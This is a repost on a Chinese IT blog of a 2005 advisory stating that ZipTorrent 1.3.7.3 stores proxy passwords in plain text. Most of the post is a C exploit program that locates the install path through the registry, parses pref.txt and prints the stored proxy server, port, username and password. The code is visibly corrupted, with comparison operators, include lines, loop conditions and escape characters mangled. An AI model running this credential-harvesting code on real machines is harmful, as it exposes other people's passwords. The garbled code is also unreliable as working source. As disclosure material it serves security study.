ITPub博客

首页 > IT基础架构 > 网络安全 > ZipTorrent Local Information Disclosure

ZipTorrent Local Information Disclosure

原创 网络安全 作者:coolwinds 时间:2005-09-07 22:44:21 0 删除 编辑

"ZipTorrent allows you to search & download torrents quickly and easily on popular torrent search engines without leaving the software, and allows you to sort results by size, name, seeders & leechers, categories, and more!"

Lack of proper protection of the passwords used by ZipTorrent allows local attackers to retrieve them.

Credit:
The information has been provided by Kozan.
The original article can be found at: http://www.spyinstructors.com/show.php?name=Advisories&pa=showpage&pid=65

[@more@]

Vulnerable Systems:
* ZipTorrent 1.3.7.3

ZipTorrent stores proxy server information and password in X:[Program_Files_Path][ZipTorrent_Path]pref.txt in plain text. A local user that can access this file would be in turn able to read the passwords stored in it.

Exploit:
/*================================

ZipTorrent 1.3.7.3 Local Proxy Password Disclosure Exploit by Kozan

Discovered & Coded by Kozan
Credits to ATmaCA
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

Application:
--------------------
ZipTorrent 1.3.7.3 (and probably prior versions)
Vendor: www.ziptorrent.com

Introduction:
--------------------
ZipTorrent is the fastest BitTorrent client for Windows with the
most features, such as Search om Major search engines an RSS reader,
IRC Chat rooms, Automatic Torrent Download Rules, Automatic Update,
Bandwidth Monitor, NAT Checking, and UPnP Support. An install wizard
that helps you through the installation process.

Bug:
--------------------
ZipTorrent stores proxy server information and password in
X:[Program_Files_Path][ZipTorrent_Path]pref.txt
in plain text. A local user can read passwords and others.

Vendor Confirmed:
--------------------
No

Fix:
--------------------
There is no solution at the time of this entry.

-================================*/

#include
#include

int GetOffset(char *FilePath, char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
if( (di=fopen(FilePath,"rb")) = NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i {
kr=getc(di);
if(kr != Str[i])
{
if( i>0 ) fseek(di,Sayac+1,SEEK_SET);
break;
}

if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}

fclose(di);
return -1;
}


char *ReadString(char *FilePath, char *Str)
{
FILE *di;
char cr;
int i=0;
char Feature[500];

int Offset = GetOffset(FilePath,Str);

if( Offset = -1 ) return NULL;
if( (di=fopen(FilePath,"rb")) = NULL ) return NULL;

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr = 0x0D) break;
Feature[i] = cr;
i++;
}

Feature[i] = ';
fclose(di);
return Feature;
}

char *GetZipTorrentPath()
{
HKEY hKey;
char szZipTorrentPath[MAX_PATH];
DWORD dwBufLen = MAX_PATH;
LONG lRet;

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWAREZipTorrent",
0,
KEY_QUERY_VALUE,
&hKey
) = ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey,
"Install_Dir",
NULL,
NULL,
(LPBYTE) szZipTorrentPath,
&dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > MAX_PATH) )
{
RegCloseKey(hKey);
return NULL;
}
RegCloseKey(hKey);
return szZipTorrentPath;
}
return NULL;
}


int main()
{
char szPwdFile[MAX_PATH];
char szServer[255], szPort[255], szUsername[255], szPassword[255];
bool bInstalled;
if( GetZipTorrentPath() = NULL ) bInstalled = false;
else
{
bInstalled = true;
strcpy(szPwdFile, GetZipTorrentPath());
strcat(szPwdFile, "pref.txt");
strcpy(szServer, ReadString(szPwdFile, "proxy_ip | "));
strcpy(szPort, ReadString(szPwdFile, "proxy_port | "));
strcpy(szUsername, ReadString(szPwdFile, "proxy_username | "));
strcpy(szPassword, ReadString(szPwdFile, "proxy_password | "));
}

fprintf(stdout, "ZipTorrent 1.3.7.3 Local Proxy Password Disclosure
Exploit by Kozann");
fprintf(stdout, "Credits to ATmaCAn");
fprintf(stdout, "Web: www.spyinstructors.com n");
fprintf(stdout, "Mail: kozan@spyinstructors.com nn");

if( !bInstalled )
{
fprintf(stderr, "ZipTorrent is not installed on your pc!n");
return -1;
}

fprintf(stdout, "Proxy Servert: t%sn", szServer);
fprintf(stdout, "Proxy Portt: t%sn", szPort);
fprintf(stdout, "Proxy Usernamet: t%sn", szUsername);
fprintf(stdout, "Proxy Usernamet: t%sn", szPassword);

return 0;
}

/* EoF */

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/83980/viewspace-806100/,如需转载,请注明出处,否则将追究法律责任。

请登录后发表评论 登录
全部评论

注册时间:2012-10-23

  • 博文量
    253
  • 访问量
    950454